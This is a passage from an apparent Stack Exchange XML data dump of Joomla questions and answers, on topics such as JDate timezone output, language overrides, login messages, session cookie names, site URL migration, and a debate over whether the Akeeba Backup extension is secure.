is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = $db-&amp;gt;loadObjectList(); &#xA;$numRows = count($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3570" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-11-30T08:37:51.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14429" PostTypeId="1" CreationDate="2015-11-25T04:50:07.333" Score="1" ViewCount="586" Body="&lt;p&gt;Ive spent quite a few hours looking but have been unable to find so far, but am thinking this must surely be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need a Joomla Module that will display random featured articles from a category. Perhaps 10 articles with full read more text without stripping any tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats it, surely Ive overlooked something obvious here!?&#xA;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5805" LastEditorUserId="5805" LastEditDate="2015-11-25T08:25:12.770" LastActivityDate="2016-02-23T11:31:04.947" Title="Module that will display 10 random featured articles with full read more text" Tags="|module|articles|category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14432" PostTypeId="2" ParentId="14429" CreationDate="2015-11-25T10:16:32.327" Score="1" Body="&lt;p&gt;Read more text could be either Read more... or the Read more with the title of the article...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly you mean with full read more text without stripping any tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for modules to show articles there are dozens in JED with so many features... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One I like it a lot and use it wherever it fits, it is &lt;a href=&quot;http://extensions.joomla.org/extension/raxo-all-mode-pro&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Raxo all mode&lt;/strong&gt;&lt;/a&gt; (it's paid download though, but well worth its price). It provides many many options for what articles to show and how to show them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many filters like date, author, featured, popular, newest, tags and similarly many ordering options, including random selection.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-25T10:16:32.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14434" PostTypeId="2" ParentId="14351" CreationDate="2015-11-25T15:56:52.700" Score="1" Body="&lt;p&gt;&lt;strong&gt;Regarding your initial question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just installed the free version of the &lt;a href=&quot;http://www.joomlashine.com/joomla-templates/jsn-corsa-joomla-template-details.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSN Corsa template&lt;/a&gt; on a test site, and as you say, the template is automatically set as default after installation. &lt;strong&gt;This is not good practice in my opinion.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not replicate the problem with the main menu getting changed, but if you also used the &lt;kbd&gt;Install sample data&lt;/kbd&gt; button, all your original settings will be overwritten, including your menu settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X5fjx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5fjx.jpg&quot; alt=&quot;Install sample data&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding the new issue&lt;/strong&gt;&lt;br&gt;&#xA;As you discovered yourself, if you duplicate the files from your Joomla installation, both folders will use the same database, and any change you make in one instance of Joomla will also affect the other. More substantial changes (like installing extensions) will probably give you error messages when files and database information don't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to duplicate your files &lt;em&gt;and&lt;/em&gt; your database, thus creating two completely separate Joomla installations.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-25T15:56:52.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14435" PostTypeId="1" AcceptedAnswerId="14436" CreationDate="2015-11-25T18:08:16.687" Score="5" ViewCount="576" Body="&lt;p&gt;I'm able to get the right &quot;time&quot; to display, but I am NOT able to show the correct Timezone in the formatted date that is output to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying what I can find online and the docs, but can't seem to get that part of the output correct. Am I missing something fundamental, or is this a JDate bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Source Date:  2000-01-01 00:00:00 (stored in DB as UTC)&#xA;Expected Output:  1999-12-31 19:00 EST, using format &quot;Y-m-d H:i T&quot;&#xA;&#xA;Joomla Timezone:  DateTimeZone Object&#xA;(&#xA;    [timezone_type] =&amp;gt; 3&#xA;    [timezone] =&amp;gt; UTC&#xA;)&#xA;&#xA;User Timezone:  America/New_York&#xA;User DateTimeZone Object&#xA;(&#xA;    [timezone_type] =&amp;gt; 3&#xA;    [timezone] =&amp;gt; America/New_York&#xA;)&#xA;&#xA;1. 2000-01-01 05:00 GMT&#xA;2. 2000-01-01 05:00 GMT    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thedate = '2000-01-01 00:00:00';&#xA;echo '&amp;lt;pre&amp;gt;Source Date:  '.print_r($thedate,true).' (stored in DB as UTC)'.&quot;\n&quot;;&#xA;echo 'Expected Output:  2000-01-01 05:00 EST, using format &quot;Y-m-d H:i T&quot;&amp;lt;/pre&amp;gt;';&#xA;&#xA;// Joomla Timezone&#xA;$tz_joomla = new DateTimeZone(JFactory::getApplication()-&amp;gt;get('offset'));&#xA;echo '&amp;lt;pre&amp;gt;Joomla Timezone:  '.print_r($tz_joomla,true).'&amp;lt;/pre&amp;gt;';&#xA;&#xA;// User Timezone&#xA;$user = JFactory::getUser();&#xA;$utzparm = $user-&amp;gt;getParam('timezone', 'UTC');&#xA;$tz_user = new DateTimeZone($utzparm);&#xA;echo '&amp;lt;pre&amp;gt;User Timezone:  '.print_r($utzparm,true).&quot;\n&quot;;&#xA;echo 'User '.print_r($tz_user,true).'&amp;lt;/pre&amp;gt;';&#xA;&#xA;// Output withOUT `-&amp;gt;setTimezone`&#xA;$date = new JDate($thedate,$tz_user);&#xA;$output_date = $date-&amp;gt;format('Y-m-d H:i T');&#xA;echo '&amp;lt;pre&amp;gt;1. '.print_r($output_date,true).'&amp;lt;/pre&amp;gt;';&#xA;&#xA;// Output WITH `-&amp;gt;setTimezone`&#xA;$date = new JDate($thedate,$tz_user);&#xA;$date-&amp;gt;setTimezone($tz_user);&#xA;$output_date = $date-&amp;gt;format('Y-m-d H:i T');&#xA;echo '&amp;lt;pre&amp;gt;2. '.print_r($output_date,true).'&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-11-25T19:57:51.027" LastActivityDate="2015-11-25T20:44:48.903" Title="Incorrect Timezone in formatted output with JDate" Tags="|jdate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14436" PostTypeId="2" ParentId="14435" CreationDate="2015-11-25T20:44:48.903" Score="3" Body="&lt;p&gt;The answer apparently lies in using &lt;code&gt;-&amp;gt;calendar()&lt;/code&gt; instead of &lt;code&gt;-&amp;gt;format()&lt;/code&gt; because that method has a second parameter to format locally.  The below code gives me the timezone correctly in the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = new JDate($thedate);&#xA;$date-&amp;gt;setTimezone($tz_user);&#xA;$output_date = $date-&amp;gt;calendar('Y-m-d H:i T', true );&#xA;echo $output_date';&#xA;&#xA;&amp;gt; 1999-12-31 19:00 EST&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-11-25T20:44:48.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14439" PostTypeId="2" ParentId="14414" CreationDate="2015-11-26T08:21:14.713" Score="1" Body="&lt;p&gt;Use the &lt;strong&gt;Wrapper module&lt;/strong&gt; with the URL set to &lt;code&gt;index.php?option=com_osmap&amp;amp;view=xml&amp;amp;tmpl=component&amp;amp;id=1&lt;/code&gt; or similar and Auto Add set to &lt;code&gt;No&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use &lt;a href=&quot;http://extensions.joomla.org/extension/components-anywhere&quot; rel=&quot;nofollow&quot;&gt;Regular Labs Components Anywhere&lt;/a&gt; to display the HTML Sitemap in a module.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:45:10.917" LastActivityDate="2016-06-24T10:45:10.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14440" PostTypeId="1" AcceptedAnswerId="14444" CreationDate="2015-11-26T09:03:34.523" Score="4" ViewCount="992" Body="&lt;p&gt;Following Artur Stępień's answer here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14355/how-to-transfer-a-joomla-content-to-another-server/14406#14406&quot;&gt;How to transfer a joomla content to another server?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Artur warned:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Be aware that using components like Akeba Backup you open your website&#xA;  for potential vulnerabilities (Akeba already had bugs that made many&#xA;  websites hacked). If you still have to use it remember to uninstall it&#xA;  after restoring backup.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I actually know about a &lt;a href=&quot;https://blog.sucuri.net/2014/08/security-advisory-akeeba-backup-for-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;past vulnerability found on Akeeba Backup&lt;/strong&gt;&lt;/a&gt;. I commented on Artur's answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Artur, I won't agree with your statement. Because a software had once&#xA;  time ago a vulnerability, this doesn't mean that it can't be safe in&#xA;  the future and we shouldn't be using it. With the same logic, then we&#xA;  shouldn't also use Joomla or any other software. Current status of&#xA;  Akeeba is safe and it's okay to use it and developers of akeeba are&#xA;  working hard to keep it that way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But Artur's reply was:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ask any one that have knowledge about security, then let him look at&#xA;  Akeba code and you will have your answer. Also I have many clients&#xA;  stories about how Akeba f.up backup that lead them to data loss. It is&#xA;  not safe to use it. Consider warned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually, Artur's claims come after another relative recent conversation I had with a guy from a local hosting company- who also claimed that Akeeba is insecure, so they won't allow it on their servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the popularity and widespread use of this extension -me personally, I am installing it and using it on almost every site as I found it very handy - &lt;strong&gt;needless to say that I had no issues so far with it&lt;/strong&gt;-, I am wondering what is the case with Akeeba? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe? Should it be avoided? Are you aware of certain risks, or insecurities related to Akeeba?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2021-06-06T20:57:24.820" Title="Akeeba BackUp: Is it safe to be used?" Tags="|security|akeebabackup|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14441" PostTypeId="2" ParentId="14440" CreationDate="2015-11-26T09:28:34.757" Score="9" Body="&lt;p&gt;Well for starters, Akeeba Backup does &lt;strong&gt;not&lt;/strong&gt; appear to be in the VEL (Vulnerable Extensions List) on the Joomla Extensions Directory.&lt;/p&gt;&#xA;&lt;p&gt;These people have slagged Akeeba Backup for it insecurity, however:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have they contacted the developer?&lt;/li&gt;&#xA;&lt;li&gt;Have they reported it on JED?&lt;/li&gt;&#xA;&lt;li&gt;Do they have solid evidence? (shared privately for the time being)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Due to the popularity of this extension, if this &lt;em&gt;was&lt;/em&gt; an issue, I would have thought one, if not all, of the above would have been done.&lt;/p&gt;&#xA;&lt;p&gt;I've actually taken the liberty of contacting the developer and sharing the link to the other post regarding the &amp;quot;security issue&amp;quot;.&lt;/p&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;I got a reply from Nick. I won't say it word for word but basically the user screwed up himself and is now trolling.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;Akeeba Backup &lt;strong&gt;IS&lt;/strong&gt; safe to use.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-26T11:26:41.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14442" PostTypeId="2" ParentId="14440" CreationDate="2015-11-26T09:57:54.163" Score="6" Body="&lt;p&gt;Akeeba Backup is an extension for backup management. It is the industry standard, a JED's TOP Rated and MOST Reviewed extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It almost has no interaction with the front-end site. If there were any vulnerability, it would be reported immediately and I am confident that the author would fix it in the shortest possible time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Artur Stępień's answer in &lt;a href=&quot;https://joomla.stackexchange.com/questions/14355/how-to-transfer-a-joomla-content-to-another-server/14406#14406&quot;&gt;How to transfer a joomla content to another server?&lt;/a&gt; is basically a recommendation to avoid any backup extension... because they are &quot;generally&quot; insecure and particularly he fails to include any real reference to a known vulnerability. So... you have to trust in Artur Stępień opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am an Akeeba's customer and I have been installing Akeeba Backup and Admin Tools (for protection against hackers) in every site since I can remember.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-11-26T09:57:54.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14443" PostTypeId="1" CreationDate="2015-11-26T11:03:32.953" Score="5" ViewCount="1088" Body="&lt;p&gt;I want to regenerate my cookie's name after every successfull login ( I regenerate already my Session Id). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to regenerate my cookie's name, joomla lost my session! ( in JSession class) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know the best joomla's practise for regenerate the cookie's name? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my code, for get different cookie's name on every Session : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// It's on Joomla\Session\Session.php&#xA;    if (isset($options['name']))&#xA;    {&#xA;        $date = new DateTime();&#xA;        $timestamp =  $date-&amp;gt;getTimestamp();&#xA;        session_name(md5($options['name'] . $timestamp));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The instance of the JSession is a singleton, Is it for that I just add a dynamic timestamp when the instance is create, that generate a different name for every first instance of the JSession (No?) . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you!&lt;/p&gt;&#xA;" OwnerUserId="7248" LastEditorUserId="7248" LastEditDate="2015-11-26T13:13:58.930" LastActivityDate="2018-04-07T00:26:01.263" Title="How to change the cookie name on every Session in JOOMLA?" Tags="|joomla-3.x|cookies|jsession|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14444" PostTypeId="2" ParentId="14440" CreationDate="2015-11-26T11:09:04.007" Score="18" Body="&lt;p&gt;As the author of Akeeba Backup I have to say that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In nine years we had a total of four security issues, only one being high priority. Even that one required advanced cryptanalytic skills to exploit. It only applied when an optional feature was enabled. We patched it in ALL versions of our software, even those. It supported for four years. The security release was publicized on our site, VEL and social media. The vulnerability report and POC came after a full month, giving you ample time to upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We follow the industry's best practices for security. Whenever a report comes in we work with the security researcher to understand the full details behind the attack vector, fix it at its core and put safeguards in place to ensure it will never happen again. These best practices are followed by th developers of operating systems, browsers and every piece of software you use out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know that Artur character was the same troll attacking us on Twitter a few months ago. He does not like the idea of his clients having control over their backups. I can understand why he so passionately protects his business model interests but his attacks to our company are out of line and all the way into defamation. I am seriously considering suing him, especially since he openly admitted that he does not know of any security issue in our software, right after he claimed it's &quot;insecure&quot;!!!&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2015-11-26T11:09:04.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14446" PostTypeId="1" CreationDate="2015-11-26T13:13:19.433" Score="0" ViewCount="255" Body="&lt;p&gt;On &lt;a href=&quot;http://www.belgianpainsociety.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.belgianpainsociety.org&lt;/a&gt; you can login using the module login in the right sidebar. However, when people enter a wrong password and push enter, they get redirected to the previous, but no message is shown. There's no notification that says the password is wrong, so people might think they succeeded loging in.&lt;/p&gt;&#xA;&lt;p&gt;Anyone knows how I can get a notification that my password is wrong?&lt;/p&gt;&#xA;&lt;p&gt;I use Jomsocial. Joomla version is 2.5.28.&lt;/p&gt;&#xA;" OwnerUserId="5734" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-26T21:20:23.517" Title="No notification when entering wrong password in module login" Tags="|joomla-2.5|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14447" PostTypeId="1" CreationDate="2015-11-26T13:42:48.670" Score="2" ViewCount="56" Body="&lt;p&gt;On &lt;a href=&quot;http://belgianpainsociety.org&quot; rel=&quot;nofollow&quot;&gt;belgianpainsociety.org&lt;/a&gt; the registration of users is done through a extensive form by jomsocial. However, the first screen of the registration is the standard fields that Joomla needs for the user manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it asks for a name and a username. But in &quot;name&quot; some people type their last name, and others their first name. I want the form to ask people for their &quot;full name&quot; or &quot;first name + last name&quot; instead of just &quot;name&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created language overrides overrides:&#xA;&lt;a href=&quot;http://belgianpainsociety.org/images/andere/name1.png&quot; rel=&quot;nofollow&quot;&gt;screenshot backend&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the registration form it hasn't changed:&#xA;&lt;a href=&quot;http://belgianpainsociety.org/images/andere/name2.png&quot; rel=&quot;nofollow&quot;&gt;screenshot registration form&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The columns in the user manager haven't changed either:&#xA;&lt;a href=&quot;http://belgianpainsociety.org/images/andere/name3.png&quot; rel=&quot;nofollow&quot;&gt;screenshot header user manager&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I miss something?&lt;/p&gt;&#xA;" OwnerUserId="5734" LastEditorUserId="5734" LastEditDate="2015-11-30T08:06:58.447" LastActivityDate="2015-11-30T08:06:58.447" Title="Is there a way to change the column names in user manager?" Tags="|joomla-2.5|overrides|user|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14450" PostTypeId="2" ParentId="14447" CreationDate="2015-11-26T17:44:34.907" Score="3" Body="&lt;p&gt;Yes, it's possible using language overrides. In your admin area, go to &lt;strong&gt;Extensions -&amp;gt; Language(s)&lt;/strong&gt;, and select &lt;strong&gt;Overrides&lt;/strong&gt; in the left menu. Make sure you select the desired language in the &amp;quot;Filter&amp;quot; drop down.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8vPmY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vPmY.jpg&quot; alt=&quot;Language overrides in Joomla&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click &amp;quot;New&amp;quot; to create a new override.&lt;/p&gt;&#xA;&lt;p&gt;In the search field, type &lt;code&gt;COM_USERS_PROFILE_NAME&lt;/code&gt;, and set &amp;quot;Search for&amp;quot; to &amp;quot;Constant&amp;quot;. You should see something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IiAic.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IiAic.jpg&quot; alt=&quot;Language overrides in Joomla&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you can change the text of both the label and the description to anything you want, e.g. &amp;quot;Full name&amp;quot;, by clicking on the constant and then changing the text. Save, and you're done.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-26T17:44:34.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14451" PostTypeId="2" ParentId="152" CreationDate="2015-11-26T21:12:55.480" Score="6" Body="&lt;p&gt;If you are worried about the speed of your website because of disabled extensions - then you are worrying about the wrong thing... Get a decent webhost and the milliseconds your site consumes because of disabled plugins will be a non-issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also just cause you have disabled it in Joomla doesn't mean it cannot be accessed directly by URL, and any security vulnerabilities it may have may still be exploited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, just because a plugin is disabled, doesnt mean some plugins do not fire/run, some plugins will be invoked and they will check themselves if they are allowed to run or not! &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-26T21:12:55.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14452" PostTypeId="2" ParentId="14446" CreationDate="2015-11-26T21:20:23.517" Score="2" Body="&lt;p&gt;I would love to debug this but your website banned me with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your IP address has been blocked because there were too many&#xA;  unsuccessful login attempts in a short time. Your IP address is:&#xA;  xx.149.40.xx.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is probably your custom template. To prove this switch back to the Joomla default template and try again - see if the message appears - if so then that proves its a custom template issue and you should then look for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your templates source file, it should be near &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also check any redirections you have set up in the login module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly - looking at the process when it submits the login form, it appears to be going to /en/ first, and then redirecting back to the home page without /en/, I see from the cookies that you have some language switcher installed - you might also want to try disabling that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pY8s5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pY8s5.png&quot; alt=&quot;browser debug&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-26T21:20:23.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14453" PostTypeId="2" ParentId="14082" CreationDate="2015-11-26T21:23:18.737" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;ErrorDocument 404 /templates/mytemplate/error.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is NOT the way to do this. All Joomla requests get routed through index.php and NOT direct to the error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 404 default&#xA;ErrorDocument 401 default&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your .htaccess to overwrite your servers configuration and trigger Joomla's built in handler.  Also ensure that your server is configured to allow rewriting of urls. You should use the default Joomla htaccess.txt as a base for your own .htaccess file, with the inclusion of the above two lines. &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-26T21:23:18.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14455" PostTypeId="2" ParentId="8909" CreationDate="2015-11-26T23:29:54.700" Score="1" Body="&lt;p&gt;I was having the same problem today. On my categories I had a &quot;master&quot; category for each language as suggested on a multi-language website. The normal search and smart search both seem not to search on the ALL language articles. The way I fix it, was creating a third &quot;master&quot; category (with ALL language) where I included all the sub-categories which had ALL as the language. After the &quot;master&quot; categories, sub-categories and articles where all set to ALL as the language, the search started working as it should be. I don't know if this is a joomla bug, or this was intended, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="7334" LastActivityDate="2015-11-26T23:29:54.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14456" PostTypeId="2" ParentId="741" CreationDate="2015-11-26T23:32:01.907" Score="2" Body="&lt;p&gt;I was having the same problem today. On my categories I had a &quot;master&quot; category for each language as suggested on a multi-language website. The normal search and smart search both seem not to search on the ALL language articles. The way I fix it, was creating a third &quot;master&quot; category (with ALL language) where I included all the sub-categories which had ALL as the language. After the &quot;master&quot; categories, sub-categories and articles where all set to ALL as the language, the search started working as it should be. I don't know if this is a joomla bug, or this was intended, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="7334" LastActivityDate="2015-11-26T23:32:01.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14458" PostTypeId="2" ParentId="945" CreationDate="2015-11-27T07:53:25.983" Score="0" Body="&lt;p&gt;There has been a team working on an official certification path for Joomla.  You can learn more about it at &lt;a href=&quot;https://certification.joomla.org/administrator-exam&quot; rel=&quot;nofollow&quot;&gt;https://certification.joomla.org/administrator-exam&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7335" LastActivityDate="2015-11-27T07:53:25.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14459" PostTypeId="1" AcceptedAnswerId="14460" CreationDate="2015-11-27T08:44:46.740" Score="1" ViewCount="100" Body="&lt;p&gt;my old site 'example.com' is now 'archive.example.com' and there are many absolute URLs of images on it, how can I use this feature of 'Admin Tools' to solve my problem?&lt;/p&gt;&#xA;" OwnerUserId="5228" LastActivityDate="2015-11-27T09:19:05.383" Title="How can I use 'SEO and Link Tools' in 'Admin Tools' in my situation?" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14460" PostTypeId="2" ParentId="14459" CreationDate="2015-11-27T09:19:05.383" Score="4" Body="&lt;p&gt;In AdminTools set &quot;Enable Link Migration&quot; to Yes and then enter the old host name ie. &lt;code&gt;example.com&lt;/code&gt;   (don't include &lt;code&gt;http://&lt;/code&gt; at the front)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this will not solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest way is to export the SQL database and to replace every instance of &lt;code&gt;http://example.com&lt;/code&gt; with &lt;code&gt;http://archive.example.com&lt;/code&gt; and then reload the database. It only takes a few minutes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this on a CPanel site, use phpMyAdmin, click on the database in question, so it loads the structure, and then click Export. Make sure you select SQL, set compression to ZIP or GZIP (whatever archive extraction utility you use) and also &quot;Add DROP TABLE...&quot; to the settings and then download. Extract the file, and do the &quot;find and replace&quot; in a text editor and save it. (Zip it to save upload time and then in phpMyAdmin click Import and upload the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test the site and ensure that the lnks have changed correctly. If you screw up you can always reload the archive of the original database, or redo the process using a fresh version and be a bit more careful with what you change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, use relative links in your Joomla articles and code and you will avoid this.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-11-27T09:19:05.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
